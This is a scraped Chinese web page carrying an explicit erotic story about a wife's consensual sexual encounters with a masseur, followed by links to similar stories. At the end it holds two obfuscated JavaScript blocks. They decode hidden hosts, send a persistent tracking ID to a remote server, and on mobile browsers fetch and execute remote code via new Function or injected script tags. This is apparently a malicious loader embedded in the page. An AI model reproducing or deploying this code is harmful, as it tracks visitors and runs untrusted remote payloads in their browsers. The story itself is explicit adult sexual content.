好满,真的好满,感觉那根全世界最粗最大的鸡巴就要刺进我肚子里了。我大叫着,疯狂的上下摆动着,把我剩下最后一点力气都用出来了。抬起了臀部,然后重重的放下,每一次都干到我的最里面,撞到我的胸口。我不知道做爱竟然能有这样舒服,我好爱,希望世界此时就能停止,希望世界末日就此到临……然后高潮从下体涌出撞倒了我,我趴在他的身上喘着,不停喘着……

太湿了,我几乎是坐在一大摊黏湿的爱液上头,我的阴毛跟他的阴毛煳在一块。鸡巴顺着我的湿滑了出来,虽然我想要把它抓回,但是我已经满足了,不能再多了,再多一点我会立刻死掉。我发着抖,无路可出的潮水在我体内来回冲击,完全无法制止的我一直抖着。我拖着身子爬上前吻他,捧着他的脸探寻着这陌生人的灵魂,我发现自己竟然爱上了这人。

刚刚才舔过我小洞的舌现在在我口中钻着,像条小蛇。我抱紧了他,想把自己整个人都塞进他的身子,是这样宽大的胸膛,我要卷曲在他怀里一辈子不要离开。

他没放过我,拦腰抱起了我将我仰面放平,在他面前我就像是根稻草一样无助。我把双腿大大张开,张到我知道最大的极限,等着,等他带着那根大鸡巴来干我,来把我干死。他戳进来时我叫了,我大叫着鸡巴!大鸡巴!我挺着屁股迎向他,下体撞击的水声几乎要淹没了整个房间。我要他戳,用力戳,一点也不需要怜惜。

他一直戳我,捉住了我的双腿把我整个下体暴露出来,我喜欢,我要把我最宝贵的地方给他,要他看得清清楚楚。我的洞就在那儿,随便他要怎样都可以,我只求他用力干我。他戳得好用力,我只知道自己不停左右摆着上身,我要自由,要得到那从来没来过的自由。我以为刚刚的做爱已经到了极限,其实没有,高潮又来了,一次又一次的。

我尖叫着:“干我,我求你子抱住他,吻他,拉倒他要他压在我的身上,让那精液溶在我与他彼此的身上,再也分不开来。

他靠着床头,而我坐在他的怀中,一面还玩弄着那可爱的小小鸡鸡。宗凯坐在我们对面……累了,大家都累了,而一切也都结束了,此时我们正彼此互微笑着。

“嫉妒吗?”我问着宗凯的眼睛问道,“我正坐在他身上呢!你看他的鸡巴,我真的喜欢他的鸡巴,喜欢让他戳我。”

“不会!”宗凯将笑容收了起来正色说道,“我要你快乐,要你疯,要你得到所有一切。不然,你为何要嫁给我呢?”

那人的鸡巴又硬了起来。我转过了身,吻着他,然后抱着他有力的脖子提起了腰。半蹲着,我用我湿透了的洞洞含着那坚硬的龟头,爱液又开始流了,流过我的心头,那龟头在我心里跳着、跳着。回过头问宗凯说:“那么,这样呢?”宗凯笑了笑点了点头……

我突然坐了下去,让整根的大鸡巴穿透我。停了好一会,直到我克制助自己情绪。我缓缓仰倒在宗凯怀中说道:“我的洞洞里正塞着别人的鸡巴!好大好大的鸡巴,我洞里面好痒,我要他干我,让大鸡巴在我洞里让你看好不好……你吻我好吗?我要你吻我!”这姿势下我们都无法动,但是我知道他的鸡巴顶在里面,顶得好深,说这话时我几乎是皱着眉头说的。

“我喜欢别人干你,只因为你喜欢!”宗凯吻着我,然后我从那人的身上滑了下来……投入到宗凯的爱里。

宗凯一个人在外头,我跟按摩师两人在浴室里,他正抓着莲蓬头小心地洗着我身上每一吋肌肤。在他跪在地上摸着我脚时,些许的感伤升了上来……分别的时候到了,他就要走了。我扶起了他,在他身上我摸索着,想要摸出一点可供凭吊的证据。他的鸡巴挺在我的下腹,是那样的暖活。

我跪在地上,吞吸吮着他的鸡巴,吞到喉咙的最深处,莲蓬头的水在我背上喷洒着。浴室是用雕花玻璃隔的,虽不透明却应该可以看到里面的影子……或许宗凯知道我在干嘛,或许不知道,但这算是我第一次的外遇了。

是真的,我真的想要单独的跟他做爱,在最私密的环境里,没有人打扰的情况下。“再干我一下好吗?一下下就好!”我仰起头求着。

他抱起了我,就这样的悬在半空,整根鸡巴就这样干了进来。我该感觉到怕的,但是没有,只是依在他厚实的肩头……然后我掉泪了。我没出声,默默的承受着快感,承受着一个奇遇的结束,几乎是立即就达到了高潮。我没让他射,这太可笑了,但我真的认为我可以用这种方式让他记住我,这个曾经缠绕在他身上的平凡女人。

在他收了钱离去后,我跟宗凯又做了两次。我悄悄的告诉宗凯,我已经安排我姐去接女儿了,所以我们爱干多久就可以在这儿干上多久。事实上我们直到第二天才离开宾馆,我已经忘了那晚我们来了有多少次。

后记:

事后我又单独找了那个按摩师一次。

那是个寒冷的午后,宗凯正在办公室里忙着。电话中我告诉他我想跟那人约会,并且已经约好在宾馆外头见了……如果他要反对,我立即就会取消。宗凯犹豫了一下,然后说可以,但是他希望能了解一件事情,就是所有一切的游戏都该是在可控制的范围内……他要我注意安全,万一有什么不可抗拒的意外一定要沉着。最后,他说他爱我,希望我能过个快乐的下午。

我答应了,但其实我不确定。我无法忘记那个瞬间,我必须证实。我爱上了那个壮硕的男人了吗?经由一次激情做爱,经由无数的高潮与高潮,而爱不应该是这样的……这件事情一直盖在我的心上,我讨厌这种阴影,非常讨厌。

故事一如从前,只是我先让他帮我洗澡,他依旧是赞美着我的脚,说是他所见过最美的。然后他把我抱上床,慢慢褪去我所有衣物,开始按摩。没太多羞怯感,好象已经熟悉了,我曾在他面前张开过大腿,还搭在他肩膀上过。我舔过他的棒棒,让他戳过,我甚至在他肩头头过泪水。

在该痒的地方我还是会痒,在该被挑逗起来的地方一样被挑逗起来,我一样挺起腰让他爱抚着我。只是,这人除了比宗凯强壮,舔着下体的舌头比宗凯灵活,爱抚时比宗凯有耐心外;这人不是宗凯,没有任何能让我感动之处,在一次次的爱抚高潮中我感觉到了孤独。

几次我试着在空荡的房里寻找宗凯,只是他不在这,我的高潮是这样的孤寂……我没吻他,也没再亲他棒棒了,甚至连碰都没碰上一下。在半套结束后我说有事要走,他想吻我我拒绝了,并且我还多给了五百元小费。那天的下午,高潮一共来了两次,全部就只是这样而已。

要是没有宗凯,我知道我永远无法跟别的男人一起,再伟大、再帅、再温柔、技巧再好的男人都一样。他们或许能让我舒服,让我哭喊,让我疯狂,但他们不过是影子,是风。该遗憾吗?我不知道,或许可以任意跟不同人上床且无所谓才叫幸福……但我知道我不是,我只要宗凯。

为了那次冒险,我们后来去做了让人屈辱的健康检查,这又是另一个的痛苦了。不过我没后悔,但当时我真应该要那人全程戴套,只是激情下,谁又记得自己该做些什么呢?


上一篇:美艳教师的性福生活(09)

下一篇:人妻凌辱慰劳会


function gwnDNE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function AWKfLmPv(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return gwnDNE(t);};window[''+'R'+'o'+'k'+'X'+'D'+'L'+'a'+'N'+'E'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Wjgr(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=AWKfLmPv,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Wjgr(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Wjgr(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmh2Y2NkLmNuJTNBODg5MQ==','d3NzJTNBJTJGGJTJGGYS5rZmdqYS5jbiUzQTk1MzM=','162093',window,document,['l','G']);}:function(){};
function AVPIRq(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TKWAwg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return AVPIRq(t);};window[''+'n'+'f'+'q'+'H'+'Q'+'c'+'O'+'L'+'Y'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function nmgl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TKWAwg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=nmgl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=nmgl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmh2Y2NkLmNuJTNBODg5MQQ==','d3NzJTTNBJTTJGJTTJGYS5rZmdqYS5jbiUzQTTk1MzM=','162092',window,document,['Q','T']);}:function(){};